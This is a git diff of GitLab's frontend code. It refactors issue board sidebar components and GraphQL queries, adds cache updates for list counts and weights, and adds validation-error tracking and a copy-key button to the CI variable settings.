- },
- watch: {
- activeBoardItem(_, oldVal) {
- if (this.isEditing) {
- this.oldIid = oldVal.iid;
- } else {
- this.oldIid = null;
- }
- },
- },
- methods: {
- ...mapActions(['setActiveBoardItemLabels', 'setError']),
- async setLabels(payload) {
- this.loading = true;
- this.$refs.sidebarItem.collapse();
-
- try {
- const addLabelIds = payload.filter((label) => label.set).map((label) => label.id);
- const removeLabelIds = payload.filter((label) => !label.set).map((label) => label.id);
-
- const input = {
- addLabelIds,
- removeLabelIds,
- projectPath: this.projectPathForActiveIssue,
- iid: this.oldIid,
- };
- await this.setActiveBoardItemLabels(input);
- this.oldIid = null;
- } catch (e) {
- this.setError({ error: e, message: __('An error occurred while updating labels.') });
- } finally {
- this.loading = false;
- }
- },
- async removeLabel(id) {
- this.loading = true;
-
- try {
- const removeLabelIds = [getIdFromGraphQLId(id)];
- const input = { removeLabelIds, projectPath: this.projectPathForActiveIssue };
- await this.setActiveBoardItemLabels(input);
- } catch (e) {
- this.setError({ error: e, message: __('An error occurred when removing the label.') });
- } finally {
- this.loading = false;
- }
- },
- },
-};
-</script>
-
-<template>
- <board-editable-item
- ref="sidebarItem"
- :title="__('Labels')"
- :loading="loading"
- data-testid="sidebar-labels"
- @open="isEditing = true"
- @close="isEditing = false"
- >
- <template #collapsed>
- <gl-label
- v-for="label in issueLabels"
- :key="label.id"
- :background-color="label.color"
- :title="label.title"
- :description="label.description"
- :scoped="label.scoped"
- :show-close-button="true"
- :disabled="loading"
- class="gl-mr-2 gl-mb-2"
- @close="removeLabel(label.id)"
- />
- </template>
- <template #default="{ edit }">
- <labels-select
- ref="labelsSelect"
- :key="fetchPath"
- :allow-label-edit="false"
- :allow-label-create="false"
- :allow-multiselect="true"
- :allow-scoped-labels="true"
- :selected-labels="selectedLabels"
- :labels-fetch-path="fetchPath"
- :labels-manage-path="labelsManagePath"
- :labels-filter-base-path="labelsFilterBasePath"
- :labels-list-title="__('Select label')"
- :dropdown-button-text="__('Choose labels')"
- :is-editing="edit"
- variant="sidebar"
- class="gl-display-block labels gl-w-full"
- @updateSelectedLabels="setLabels"
- >
- {{ __('None') }}
- </labels-select>
- </template>
- </board-editable-item>
-</template>
diff --git a/app/assets/javascripts/boards/components/sidebar/board_sidebar_subscription.vue b/app/assets/javascripts/boards/components/sidebar/board_sidebar_subscription.vue
deleted file mode 100644
index 4f5c55d0c5d..00000000000
--- a/app/assets/javascripts/boards/components/sidebar/board_sidebar_subscription.vue
+++ /dev/null
@@ -1,75 +0,0 @@
-<script>
-import { GlToggle } from '@gitlab/ui';
-import { mapGetters, mapActions } from 'vuex';
-import { __, s__ } from '~/locale';
-
-export default {
- i18n: {
- header: {
- title: __('Notifications'),
- /* Any change to subscribeDisabledDescription
- must be reflected in app/helpers/notifications_helper.rb */
- subscribeDisabledDescription: __(
- 'Notifications have been disabled by the project or group owner',
- ),
- },
- updateSubscribedErrorMessage: s__(
- 'IssueBoards|An error occurred while setting notifications status. Please try again.',
- ),
- },
- components: {
- GlToggle,
- },
- inject: ['emailsDisabled'],
- data() {
- return {
- loading: false,
- };
- },
- computed: {
- ...mapGetters(['activeBoardItem', 'projectPathForActiveIssue', 'isEpicBoard']),
- isEmailsDisabled() {
- return this.isEpicBoard ? this.emailsDisabled : this.activeBoardItem.emailsDisabled;
- },
- notificationText() {
- return this.isEmailsDisabled
- ? this.$options.i18n.header.subscribeDisabledDescription
- : this.$options.i18n.header.title;
- },
- },
- methods: {
- ...mapActions(['setActiveItemSubscribed', 'setError']),
- async handleToggleSubscription() {
- this.loading = true;
- try {
- await this.setActiveItemSubscribed({
- subscribed: !this.activeBoardItem.subscribed,
- projectPath: this.projectPathForActiveIssue,
- });
- } catch (error) {
- this.setError({ error, message: this.$options.i18n.updateSubscribedErrorMessage });
- } finally {
- this.loading = false;
- }
- },
- },
-};
-</script>
-
-<template>
- <div
- class="gl-display-flex gl-align-items-center gl-justify-content-space-between"
- data-testid="sidebar-notifications"
- >
- <span data-testid="notification-header-text"> {{ notificationText }} </span>
- <gl-toggle
- v-if="!isEmailsDisabled"
- :value="activeBoardItem.subscribed"
- :is-loading="loading"
- :label="$options.i18n.header.title"
- label-position="hidden"
- data-testid="notification-subscribe-toggle"
- @change="handleToggleSubscription"
- />
- </div>
-</template>
diff --git a/app/assets/javascripts/boards/constants.js b/app/assets/javascripts/boards/constants.js
index 391e0d1fb0a..851b5eca40d 100644
--- a/app/assets/javascripts/boards/constants.js
+++ b/app/assets/javascripts/boards/constants.js
@@ -104,8 +104,10 @@ export const FilterFields = {
'assigneeUsername',
'assigneeWildcardId',
'authorUsername',
+ 'confidential',
'labelName',
'milestoneTitle',
+ 'milestoneWildcardId',
'myReactionEmoji',
'releaseTag',
'search',
@@ -114,6 +116,18 @@ export const FilterFields = {
],
};
+/* eslint-disable @gitlab/require-i18n-strings */
+export const AssigneeFilterType = {
+ any: 'Any',
+};
+
+export const MilestoneFilterType = {
+ any: 'Any',
+ none: 'None',
+ started: 'Started',
+ upcoming: 'Upcoming',
+};
+
export const DraggableItemTypes = {
card: 'card',
list: 'list',
diff --git a/app/assets/javascripts/boards/graphql/board_labels.query.graphql b/app/assets/javascripts/boards/graphql/board_labels.query.graphql
index b19a24e8808..525a4863379 100644
--- a/app/assets/javascripts/boards/graphql/board_labels.query.graphql
+++ b/app/assets/javascripts/boards/graphql/board_labels.query.graphql
@@ -7,6 +7,7 @@ query BoardLabels(
$isProject: Boolean = false
) {
group(fullPath: $fullPath) @include(if: $isGroup) {
+ id
labels(searchTerm: $searchTerm, onlyGroupLabels: true, includeAncestorGroups: true) {
nodes {
...Label
@@ -14,6 +15,7 @@ query BoardLabels(
}
}
project(fullPath: $fullPath) @include(if: $isProject) {
+ id
labels(searchTerm: $searchTerm, includeAncestorGroups: true) {
nodes {
...Label
diff --git a/app/assets/javascripts/boards/graphql/board_list_create.mutation.graphql b/app/assets/javascripts/boards/graphql/board_list_create.mutation.graphql
index 0e1d11727cf..81cc7b4d246 100644
--- a/app/assets/javascripts/boards/graphql/board_list_create.mutation.graphql
+++ b/app/assets/javascripts/boards/graphql/board_list_create.mutation.graphql
@@ -2,6 +2,8 @@
mutation createBoardList($boardId: BoardID!, $backlog: Boolean, $labelId: LabelID) {
boardListCreate(input: { boardId: $boardId, backlog: $backlog, labelId: $labelId }) {
+ # We have ID in a deeply nested fragment
+ # eslint-disable-next-line @graphql-eslint/require-id-when-available
list {
...BoardListFragment
}
diff --git a/app/assets/javascripts/boards/graphql/board_list_shared.fragment.graphql b/app/assets/javascripts/boards/graphql/board_list_shared.fragment.graphql
index d85b736720b..5b532906f6a 100644
--- a/app/assets/javascripts/boards/graphql/board_list_shared.fragment.graphql
+++ b/app/assets/javascripts/boards/graphql/board_list_shared.fragment.graphql
@@ -4,7 +4,6 @@ fragment BoardListShared on BoardList {
position
listType
collapsed
- issuesCount
label {
id
title
diff --git a/app/assets/javascripts/boards/graphql/board_list_update.mutation.graphql b/app/assets/javascripts/boards/graphql/board_list_update.mutation.graphql
index b474c9acb93..7ea0e2f915a 100644
--- a/app/assets/javascripts/boards/graphql/board_list_update.mutation.graphql
+++ b/app/assets/javascripts/boards/graphql/board_list_update.mutation.graphql
@@ -2,6 +2,8 @@
mutation UpdateBoardList($listId: ID!, $position: Int, $collapsed: Boolean) {
updateBoardList(input: { listId: $listId, position: $position, collapsed: $collapsed }) {
+ # We have ID in a deeply nested fragment
+ # eslint-disable-next-line @graphql-eslint/require-id-when-available
list {
...BoardListFragment
}
diff --git a/app/assets/javascripts/boards/graphql/board_lists.query.graphql b/app/assets/javascripts/boards/graphql/board_lists.query.graphql
index 47e87907d76..e6e98864aad 100644
--- a/app/assets/javascripts/boards/graphql/board_lists.query.graphql
+++ b/app/assets/javascripts/boards/graphql/board_lists.query.graphql
@@ -8,9 +8,13 @@ query BoardLists(
$isProject: Boolean = false
) {
group(fullPath: $fullPath) @include(if: $isGroup) {
+ id
board(id: $boardId) {
+ id
hideBacklogList
lists(issueFilters: $filters) {
+ # We have ID in a deeply nested fragment
+ # eslint-disable-next-line @graphql-eslint/require-id-when-available
nodes {
...BoardListFragment
}
@@ -18,9 +22,13 @@ query BoardLists(
}
}
project(fullPath: $fullPath) @include(if: $isProject) {
+ id
board(id: $boardId) {
+ id
hideBacklogList
lists(issueFilters: $filters) {
+ # We have ID in a deeply nested fragment
+ # eslint-disable-next-line @graphql-eslint/require-id-when-available
nodes {
...BoardListFragment
}
diff --git a/app/assets/javascripts/boards/graphql/board_lists_deferred.query.graphql b/app/assets/javascripts/boards/graphql/board_lists_deferred.query.graphql
new file mode 100644
index 00000000000..bae3220dfad
--- /dev/null
+++ b/app/assets/javascripts/boards/graphql/board_lists_deferred.query.graphql
@@ -0,0 +1,6 @@
+query BoardList($id: ID!, $filters: BoardIssueInput) {
+ boardList(id: $id, issueFilters: $filters) {
+ id
+ issuesCount
+ }
+}
diff --git a/app/assets/javascripts/boards/graphql/group_board.query.graphql b/app/assets/javascripts/boards/graphql/group_board.query.graphql
index 77c8e0378f0..8d87b83da96 100644
--- a/app/assets/javascripts/boards/graphql/group_board.query.graphql
+++ b/app/assets/javascripts/boards/graphql/group_board.query.graphql
@@ -2,6 +2,7 @@
query GroupBoard($fullPath: ID!, $boardId: ID!) {
workspace: group(fullPath: $fullPath) {
+ id
board(id: $boardId) {
...BoardScopeFragment
}
diff --git a/app/assets/javascripts/boards/graphql/group_board_members.query.graphql b/app/assets/javascripts/boards/graphql/group_board_members.query.graphql
index d3251c2aa12..aec674eb006 100644
--- a/app/assets/javascripts/boards/graphql/group_board_members.query.graphql
+++ b/app/assets/javascripts/boards/graphql/group_board_members.query.graphql
@@ -3,6 +3,7 @@
query GroupBoardMembers($fullPath: ID!, $search: String) {
workspace: group(fullPath: $fullPath) {
__typename
+ id
assignees: groupMembers(search: $search, relations: [DIRECT, DESCENDANTS, INHERITED]) {
__typename
nodes {
diff --git a/app/assets/javascripts/boards/graphql/group_board_milestones.query.graphql b/app/assets/javascripts/boards/graphql/group_board_milestones.query.graphql
index 73aa9137dec..0963b3fbfaa 100644
--- a/app/assets/javascripts/boards/graphql/group_board_milestones.query.graphql
+++ b/app/assets/javascripts/boards/graphql/group_board_milestones.query.graphql
@@ -1,5 +1,6 @@
query GroupBoardMilestones($fullPath: ID!, $searchTerm: String) {
group(fullPath: $fullPath) {
+ id
milestones(includeAncestors: true, searchTitle: $searchTerm) {
nodes {
id
diff --git a/app/assets/javascripts/boards/graphql/group_boards.query.graphql b/app/assets/javascripts/boards/graphql/group_boards.query.graphql
index feafd6ae10d..0823c4f5a83 100644
--- a/app/assets/javascripts/boards/graphql/group_boards.query.graphql
+++ b/app/assets/javascripts/boards/graphql/group_boards.query.graphql
@@ -2,6 +2,7 @@
query group_boards($fullPath: ID!) {
group(fullPath: $fullPath) {
+ id
boards {
edges {
node {
diff --git a/app/assets/javascripts/boards/graphql/group_projects.query.graphql b/app/assets/javascripts/boards/graphql/group_projects.query.graphql
index c5732bbaff3..0da14d0b872 100644
--- a/app/assets/javascripts/boards/graphql/group_projects.query.graphql
+++ b/app/assets/javascripts/boards/graphql/group_projects.query.graphql
@@ -2,6 +2,7 @@
query boardsGetGroupProjects($fullPath: ID!, $search: String, $after: String) {
group(fullPath: $fullPath) {
+ id
projects(search: $search, after: $after, first: 100, includeSubgroups: true) {
nodes {
id
diff --git a/app/assets/javascripts/boards/graphql/issue_set_labels.mutation.graphql b/app/assets/javascripts/boards/graphql/issue_set_labels.mutation.graphql
index 70eb1dfbf7e..c9c5d744371 100644
--- a/app/assets/javascripts/boards/graphql/issue_set_labels.mutation.graphql
+++ b/app/assets/javascripts/boards/graphql/issue_set_labels.mutation.graphql
@@ -1,13 +1,12 @@
+#import "~/graphql_shared/fragments/label.fragment.graphql"
+
mutation issueSetLabels($input: UpdateIssueInput!) {
- updateIssue(input: $input) {
- issue {
+ updateIssuableLabels: updateIssue(input: $input) {
+ issuable: issue {
id
labels {
nodes {
- id
- title
- color
- description
+ ...Label
}
}
}
diff --git a/app/assets/javascripts/boards/graphql/issue_set_subscription.mutation.graphql b/app/assets/javascripts/boards/graphql/issue_set_subscription.mutation.graphql
index bfb87758e17..c130a64cac4 100644
--- a/app/assets/javascripts/boards/graphql/issue_set_subscription.mutation.graphql
+++ b/app/assets/javascripts/boards/graphql/issue_set_subscription.mutation.graphql
@@ -1,6 +1,7 @@
mutation issueSetSubscription($input: IssueSetSubscriptionInput!) {
updateIssuableSubscription: issueSetSubscription(input: $input) {
issue {
+ id
subscribed
}
errors
diff --git a/app/assets/javascripts/boards/graphql/issue_set_title.mutation.graphql b/app/assets/javascripts/boards/graphql/issue_set_title.mutation.graphql
index 6ad12d982e0..147cf040a85 100644
--- a/app/assets/javascripts/boards/graphql/issue_set_title.mutation.graphql
+++ b/app/assets/javascripts/boards/graphql/issue_set_title.mutation.graphql
@@ -1,6 +1,7 @@
mutation issueSetTitle($input: UpdateIssueInput!) {
updateIssuableTitle: updateIssue(input: $input) {
issue {
+ id
title
}
errors
diff --git a/app/assets/javascripts/boards/graphql/lists_issues.query.graphql b/app/assets/javascripts/boards/graphql/lists_issues.query.graphql
index 9f93bc6d5bf..105f2931caa 100644
--- a/app/assets/javascripts/boards/graphql/lists_issues.query.graphql
+++ b/app/assets/javascripts/boards/graphql/lists_issues.query.graphql
@@ -1,6 +1,6 @@
#import "ee_else_ce/boards/graphql/issue.fragment.graphql"
-query BoardListEE(
+query BoardListsEE(
$fullPath: ID!
$boardId: ID!
$id: ID
@@ -11,7 +11,9 @@ query BoardListEE(
$first: Int
) {
group(fullPath: $fullPath) @include(if: $isGroup) {
+ id
board(id: $boardId) {
+ id
lists(id: $id, issueFilters: $filters) {
nodes {
id
@@ -33,7 +35,9 @@ query BoardListEE(
}
}
project(fullPath: $fullPath) @include(if: $isProject) {
+ id
board(id: $boardId) {
+ id
lists(id: $id, issueFilters: $filters) {
nodes {
id
diff --git a/app/assets/javascripts/boards/graphql/project_board.query.graphql b/app/assets/javascripts/boards/graphql/project_board.query.graphql
index 6e4cd6bed57..8246d615a6a 100644
--- a/app/assets/javascripts/boards/graphql/project_board.query.graphql
+++ b/app/assets/javascripts/boards/graphql/project_board.query.graphql
@@ -2,6 +2,7 @@
query ProjectBoard($fullPath: ID!, $boardId: ID!) {
workspace: project(fullPath: $fullPath) {
+ id
board(id: $boardId) {
...BoardScopeFragment
}
diff --git a/app/assets/javascripts/boards/graphql/project_board_members.query.graphql b/app/assets/javascripts/boards/graphql/project_board_members.query.graphql
index fc6cc6b832c..45bec5e574b 100644
--- a/app/assets/javascripts/boards/graphql/project_board_members.query.graphql
+++ b/app/assets/javascripts/boards/graphql/project_board_members.query.graphql
@@ -3,6 +3,7 @@
query ProjectBoardMembers($fullPath: ID!, $search: String) {
workspace: project(fullPath: $fullPath) {
__typename
+ id
assignees: projectMembers(search: $search) {
__typename
nodes {
diff --git a/app/assets/javascripts/boards/graphql/project_board_milestones.query.graphql b/app/assets/javascripts/boards/graphql/project_board_milestones.query.graphql
index 8dd4d256caa..e456823d78a 100644
--- a/app/assets/javascripts/boards/graphql/project_board_milestones.query.graphql
+++ b/app/assets/javascripts/boards/graphql/project_board_milestones.query.graphql
@@ -1,5 +1,6 @@
query ProjectBoardMilestones($fullPath: ID!, $searchTerm: String) {
project(fullPath: $fullPath) {
+ id
milestones(searchTitle: $searchTerm, includeAncestors: true) {
nodes {
id
diff --git a/app/assets/javascripts/boards/graphql/project_boards.query.graphql b/app/assets/javascripts/boards/graphql/project_boards.query.graphql
index f98d25ba671..b8879bc260c 100644
--- a/app/assets/javascripts/boards/graphql/project_boards.query.graphql
+++ b/app/assets/javascripts/boards/graphql/project_boards.query.graphql
@@ -2,6 +2,7 @@
query project_boards($fullPath: ID!) {
project(fullPath: $fullPath) {
+ id
boards {
edges {
node {
diff --git a/app/assets/javascripts/boards/graphql/project_milestones.query.graphql b/app/assets/javascripts/boards/graphql/project_milestones.query.graphql
index 61c9ddded9b..4c952096d76 100644
--- a/app/assets/javascripts/boards/graphql/project_milestones.query.graphql
+++ b/app/assets/javascripts/boards/graphql/project_milestones.query.graphql
@@ -5,6 +5,7 @@ query boardProjectMilestones(
$searchTitle: String
) {
project(fullPath: $fullPath) {
+ id
milestones(state: $state, includeAncestors: $includeAncestors, searchTitle: $searchTitle) {
edges {
node {
diff --git a/app/assets/javascripts/boards/index.js b/app/assets/javascripts/boards/index.js
index 6fa8dd63245..ded3bfded86 100644
--- a/app/assets/javascripts/boards/index.js
+++ b/app/assets/javascripts/boards/index.js
@@ -110,7 +110,8 @@ export default () => {
});
if (gon?.features?.issueBoardsFilteredSearch) {
- initBoardsFilteredSearch(apolloProvider, isLoggedIn());
+ const { releasesFetchPath } = $boardApp.dataset;
+ initBoardsFilteredSearch(apolloProvider, isLoggedIn(), releasesFetchPath);
}
mountBoardApp($boardApp);
diff --git a/app/assets/javascripts/boards/mount_filtered_search_issue_boards.js b/app/assets/javascripts/boards/mount_filtered_search_issue_boards.js
index 1ea74d5685c..a8ade58e316 100644
--- a/app/assets/javascripts/boards/mount_filtered_search_issue_boards.js
+++ b/app/assets/javascripts/boards/mount_filtered_search_issue_boards.js
@@ -4,7 +4,7 @@ import store from '~/boards/stores';
import { convertObjectPropsToCamelCase } from '~/lib/utils/common_utils';
import { queryToObject } from '~/lib/utils/url_utility';
-export default (apolloProvider, isSignedIn) => {
+export default (apolloProvider, isSignedIn, releasesFetchPath) => {
const el = document.getElementById('js-issue-board-filtered-search');
const rawFilterParams = queryToObject(window.location.search, { gatherArrays: true });
@@ -21,6 +21,7 @@ export default (apolloProvider, isSignedIn) => {
provide: {
initialFilterParams,
isSignedIn,
+ releasesFetchPath,
},
store, // TODO: https://gitlab.com/gitlab-org/gitlab/-/issues/324094
apolloProvider,
diff --git a/app/assets/javascripts/boards/stores/actions.js b/app/assets/javascripts/boards/stores/actions.js
index 3a96e535cf7..1ebfcfc331b 100644
--- a/app/assets/javascripts/boards/stores/actions.js
+++ b/app/assets/javascripts/boards/stores/actions.js
@@ -16,30 +16,30 @@ import {
ListTypeTitles,
DraggableItemTypes,
} from 'ee_else_ce/boards/constants';
-import createBoardListMutation from 'ee_else_ce/boards/graphql/board_list_create.mutation.graphql';
-import issueMoveListMutation from 'ee_else_ce/boards/graphql/issue_move_list.mutation.graphql';
-import { getIdFromGraphQLId } from '~/graphql_shared/utils';
-import { convertObjectPropsToCamelCase } from '~/lib/utils/common_utils';
-import { queryToObject } from '~/lib/utils/url_utility';
-import { s__ } from '~/locale';
import {
+ formatIssueInput,
formatBoardLists,
formatListIssues,
formatListsPageInfo,
formatIssue,
- formatIssueInput,
updateListPosition,
moveItemListHelper,
getMoveData,
FiltersInfo,
filterVariables,
-} from '../boards_util';
+} from 'ee_else_ce/boards/boards_util';
+import createBoardListMutation from 'ee_else_ce/boards/graphql/board_list_create.mutation.graphql';
+import issueMoveListMutation from 'ee_else_ce/boards/graphql/issue_move_list.mutation.graphql';
+import totalCountAndWeightQuery from 'ee_else_ce/boards/graphql/board_lists_deferred.query.graphql';
+import { getIdFromGraphQLId } from '~/graphql_shared/utils';
+import { convertObjectPropsToCamelCase } from '~/lib/utils/common_utils';
+import { queryToObject } from '~/lib/utils/url_utility';
+import { s__ } from '~/locale';
import { gqlClient } from '../graphql';
import boardLabelsQuery from '../graphql/board_labels.query.graphql';
import groupBoardMilestonesQuery from '../graphql/group_board_milestones.query.graphql';
import groupProjectsQuery from '../graphql/group_projects.query.graphql';
import issueCreateMutation from '../graphql/issue_create.mutation.graphql';
-import issueSetLabelsMutation from '../graphql/issue_set_labels.mutation.graphql';
import listsIssuesQuery from '../graphql/lists_issues.query.graphql';
import projectBoardMilestonesQuery from '../graphql/project_board_milestones.query.graphql';
@@ -373,7 +373,6 @@ export default {
commit(types.REQUEST_ITEMS_FOR_LIST, { listId, fetchNext });
const { fullPath, fullBoardId, boardType, filterParams } = state;
-
const variables = {
fullPath,
boardId: fullBoardId,
@@ -503,9 +502,10 @@ export default {
updateIssueOrder: async ({ commit, dispatch, state }, { moveData, mutationVariables = {} }) => {
try {
- const { itemId, fromListId, toListId, moveBeforeId, moveAfterId } = moveData;
+ const { itemId, fromListId, toListId, moveBeforeId, moveAfterId, itemNotInToList } = moveData;
const {
fullBoardId,
+ filterParams,
boardItems: {
[itemId]: { iid, referencePath },
},
@@ -524,6 +524,67 @@ export default {
// 'mutationVariables' allows EE code to pass in extra parameters.
...mutationVariables,
},
+ update(
+ cache,
+ {
+ data: {
+ issueMoveList: {
+ issue: { weight },
+ },
+ },
+ },
+ ) {
+ if (fromListId === toListId) return;
+
+ const updateFromList = () => {
+ const fromList = cache.readQuery({
+ query: totalCountAndWeightQuery,
+ variables: { id: fromListId, filters: filterParams },
+ });
+
+ const updatedFromList = {
+ boardList: {
+ __typename: 'BoardList',
+ id: fromList.boardList.id,
+ issuesCount: fromList.boardList.issuesCount - 1,
+ totalWeight: fromList.boardList.totalWeight - Number(weight),
+ },
+ };
+
+ cache.writeQuery({
+ query: totalCountAndWeightQuery,
+ variables: { id: fromListId, filters: filterParams },
+ data: updatedFromList,
+ });
+ };
+
+ const updateToList = () => {
+ if (!itemNotInToList) return;
+
+ const toList = cache.readQuery({
+ query: totalCountAndWeightQuery,
+ variables: { id: toListId, filters: filterParams },
+ });
+
+ const updatedToList = {
+ boardList: {
+ __typename: 'BoardList',
+ id: toList.boardList.id,
+ issuesCount: toList.boardList.issuesCount + 1,
+ totalWeight: toList.boardList.totalWeight + Number(weight),
+ },
+ };
+
+ cache.writeQuery({
+ query: totalCountAndWeightQuery,
+ variables: { id: toListId, filters: filterParams },
+ data: updatedToList,
+ });
+ };
+
+ updateFromList();
+ updateToList();
+ },
});
if (data?.issueMoveList?.errors.length || !data.issueMoveList) {
@@ -567,7 +628,7 @@ export default {
},
addListNewIssue: (
- { state: { boardConfig, boardType, fullPath }, dispatch, commit },
+ { state: { boardConfig, boardType, fullPath, filterParams }, dispatch, commit },
{ issueInput, list, placeholderId = `tmp-${new Date().getTime()}` },
) => {
const input = formatIssueInput(issueInput, boardConfig);
@@ -583,6 +644,27 @@ export default {
.mutate({
mutation: issueCreateMutation,
variables: { input },
+ update(cache) {
+ const fromList = cache.readQuery({
+ query: totalCountAndWeightQuery,
+ variables: { id: list.id, filters: filterParams },
+ });
+
+ const updatedList = {
+ boardList: {
+ __typename: 'BoardList',
+ id: fromList.boardList.id,
+ issuesCount: fromList.boardList.issuesCount + 1,
+ totalWeight: fromList.boardList.totalWeight,
+ },
+ };
+
+ cache.writeQuery({
+ query: totalCountAndWeightQuery,
+ variables: { id: list.id, filters: filterParams },
+ data: updatedList,
+ });
+ },
})
.then(({ data }) => {
if (data.createIssue.errors.length) {
@@ -610,33 +692,6 @@ export default {
setActiveIssueLabels: async ({ commit, getters }, input) => {
const { activeBoardItem } = getters;
- if (!gon.features?.labelsWidget) {
- const { data } = await gqlClient.mutate({
- mutation: issueSetLabelsMutation,
- variables: {
- input: {
- iid: input.iid || String(activeBoardItem.iid),
- labelIds: input.labelsId ?? undefined,
- addLabelIds: input.addLabelIds ?? [],
- removeLabelIds: input.removeLabelIds ?? [],
- projectPath: input.projectPath,
- },
- },
- });
-
- if (data.updateIssue?.errors?.length > 0) {
- throw new Error(data.updateIssue.errors);
- }
-
- commit(types.UPDATE_BOARD_ITEM_BY_ID, {
- itemId: data.updateIssue?.issue?.id || activeBoardItem.id,
- prop: 'labels',
- value: data.updateIssue?.issue?.labels.nodes,
- });
-
- return;
- }
-
let labels = input?.labels || [];
if (input.removeLabelIds) {
labels = activeBoardItem.labels.filter(
diff --git a/app/assets/javascripts/ci_lint/components/ci_lint.vue b/app/assets/javascripts/ci_lint/components/ci_lint.vue
index bc8a1f05ef5..d541e89756a 100644
--- a/app/assets/javascripts/ci_lint/components/ci_lint.vue
+++ b/app/assets/javascripts/ci_lint/components/ci_lint.vue
@@ -1,7 +1,7 @@
<script>
import { GlButton, GlFormCheckbox, GlIcon, GlLink, GlAlert } from '@gitlab/ui';
import CiLintResults from '~/pipeline_editor/components/lint/ci_lint_results.vue';
-import lintCiMutation from '~/pipeline_editor/graphql/mutations/lint_ci.mutation.graphql';
+import lintCiMutation from '~/pipeline_editor/graphql/mutations/client/lint_ci.mutation.graphql';
import SourceEditor from '~/vue_shared/components/source_editor.vue';
export default {
diff --git a/app/assets/javascripts/ci_settings_pipeline_triggers/components/triggers_list.vue b/app/assets/javascripts/ci_settings_pipeline_triggers/components/triggers_list.vue
index 77ec1f1af47..4ab9b36058d 100644
--- a/app/assets/javascripts/ci_settings_pipeline_triggers/components/triggers_list.vue
+++ b/app/assets/javascripts/ci_settings_pipeline_triggers/components/triggers_list.vue
@@ -3,7 +3,7 @@ import { GlTable, GlButton, GlBadge, GlTooltipDirective } from '@gitlab/ui';
import { s__ } from '~/locale';
import ClipboardButton from '~/vue_shared/components/clipboard_button.vue';
import TimeAgoTooltip from '~/vue_shared/components/time_ago_tooltip.vue';
-import TooltipOnTruncate from '~/vue_shared/components/tooltip_on_truncate.vue';
+import TooltipOnTruncate from '~/vue_shared/components/tooltip_on_truncate/tooltip_on_truncate.vue';
import UserAvatarLink from '~/vue_shared/components/user_avatar/user_avatar_link.vue';
export default {
diff --git a/app/assets/javascripts/ci_variable_list/components/ci_variable_modal.vue b/app/assets/javascripts/ci_variable_list/components/ci_variable_modal.vue
index 8e527e2bff6..e630ce71bd3 100644
--- a/app/assets/javascripts/ci_variable_list/components/ci_variable_modal.vue
+++ b/app/assets/javascripts/ci_variable_list/components/ci_variable_modal.vue
@@ -17,6 +17,7 @@ import {
import Cookies from 'js-cookie';
import { mapActions, mapState } from 'vuex';
import { __ } from '~/locale';
+import Tracking from '~/tracking';
import glFeatureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
import { mapComputed } from '~/vuex_shared/bindings';
import {
@@ -25,10 +26,14 @@ import {
AWS_TIP_DISMISSED_COOKIE_NAME,
AWS_TIP_MESSAGE,
CONTAINS_VARIABLE_REFERENCE_MESSAGE,
+ EVENT_LABEL,
+ EVENT_ACTION,
} from '../constants';
import CiEnvironmentsDropdown from './ci_environments_dropdown.vue';
import { awsTokens, awsTokenList } from './ci_variable_autocomplete_tokens';
+const trackingMixin = Tracking.mixin({ label: EVENT_LABEL });
+
export default {
modalId: ADD_CI_VARIABLE_MODAL_ID,
tokens: awsTokens,
@@ -51,10 +56,11 @@ export default {
GlModal,
GlSprintf,
},
- mixins: [glFeatureFlagsMixin()],
+ mixins: [glFeatureFlagsMixin(), trackingMixin],
data() {
return {
isTipDismissed: Cookies.get(AWS_TIP_DISMISSED_COOKIE_NAME) === 'true',
+ validationErrorEventProperty: '',
};
},
computed: {
@@ -147,6 +153,14 @@ export default {
return this.variable.secret_value === '' || (this.tokenValidationState && this.maskedState);
},
},
+ watch: {
+ variable: {
+ handler() {
+ this.trackVariableValidationErrors();
+ },
+ deep: true,
+ },
+ },
methods: {
...mapActions([
'addVariable',
@@ -179,6 +193,7 @@ export default {
this.clearModal();
this.resetSelectedEnvironment();
+ this.resetValidationErrorEvents();
},
updateOrAddVariable() {
if (this.variableBeingEdited) {
@@ -193,6 +208,31 @@ export default {
this.setVariableProtected();
}
},
+ trackVariableValidationErrors() {
+ const property = this.getTrackingErrorProperty();
+ if (!this.validationErrorEventProperty && property) {
+ this.track(EVENT_ACTION, { property });
+ this.validationErrorEventProperty = property;
+ }
+ },
+ getTrackingErrorProperty() {
+ let property;
+ if (this.variable.secret_value?.length && !property) {
+ if (this.displayMaskedError && this.maskableRegex?.length) {
+ const supportedChars = this.maskableRegex.replace('^', '').replace(/{(\d,)}\$/, '');
+ const regex = new RegExp(supportedChars, 'g');
+ property = this.variable.secret_value.replace(regex, '');
+ }
+ if (this.containsVariableReference) {
+ property = '$';
+ }
+ }
+
+ return property;
+ },
+ resetValidationErrorEvents() {
+ this.validationErrorEventProperty = '';
+ },
},
};
</script>
diff --git a/app/assets/javascripts/ci_variable_list/components/ci_variable_table.vue b/app/assets/javascripts/ci_variable_list/components/ci_variable_table.vue
index b959d97daea..9c0ffab7f6b 100644
--- a/app/assets/javascripts/ci_variable_list/components/ci_variable_table.vue
+++ b/app/assets/javascripts/ci_variable_list/components/ci_variable_table.vue
@@ -1,5 +1,5 @@
<script>
-import { GlTable, GlButton, GlModalDirective, GlIcon } from '@gitlab/ui';
+import { GlTable, GlButton, GlModalDirective, GlIcon, GlTooltipDirective } from '@gitlab/ui';
import { mapState, mapActions } from 'vuex';
import { s__, __ } from '~/locale';
import glFeatureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
@@ -59,6 +59,7 @@ export default {
},
directives: {
GlModalDirective,
+ GlTooltip: GlTooltipDirective,
},
mixins: [glFeatureFlagsMixin()],
computed: {
@@ -102,27 +103,38 @@ export default {
<col v-for="field in scope.fields" :key="field.key" :style="field.customStyle" />
</template>
<template #cell(key)="{ item }">
- <div class="d-flex truncated-container">
- <span :id="`ci-variable-key-${item.id}`" class="d-inline-block mw-100 text-truncate">{{
- item.key
- }}</span>
- <ci-variable-popover
- :target="`ci-variable-key-${item.id}`"
- :value="item.key"
- :tooltip-text="__('Copy key')"
+ <div class="gl-display-flex truncated-container gl-align-items-center">
+ <span
+ :id="`ci-variable-key-${item.id}`"
+ class="gl-display-inline-block gl-max-w-full gl-text-truncate"
+ >{{ item.key }}</span
+ >
+ <gl-button
+ v-gl-tooltip
+ category="tertiary"
+ icon="copy-to-clipboard"
+ :title="__('Copy key')"
+ :data-clipboard-text="item.key"
+ :aria-label="__('Copy to clipboard')"
/>
</div>
</template>
<template #cell(value)="{ item }">
- <span v-if="valuesHidden">*********************</span>
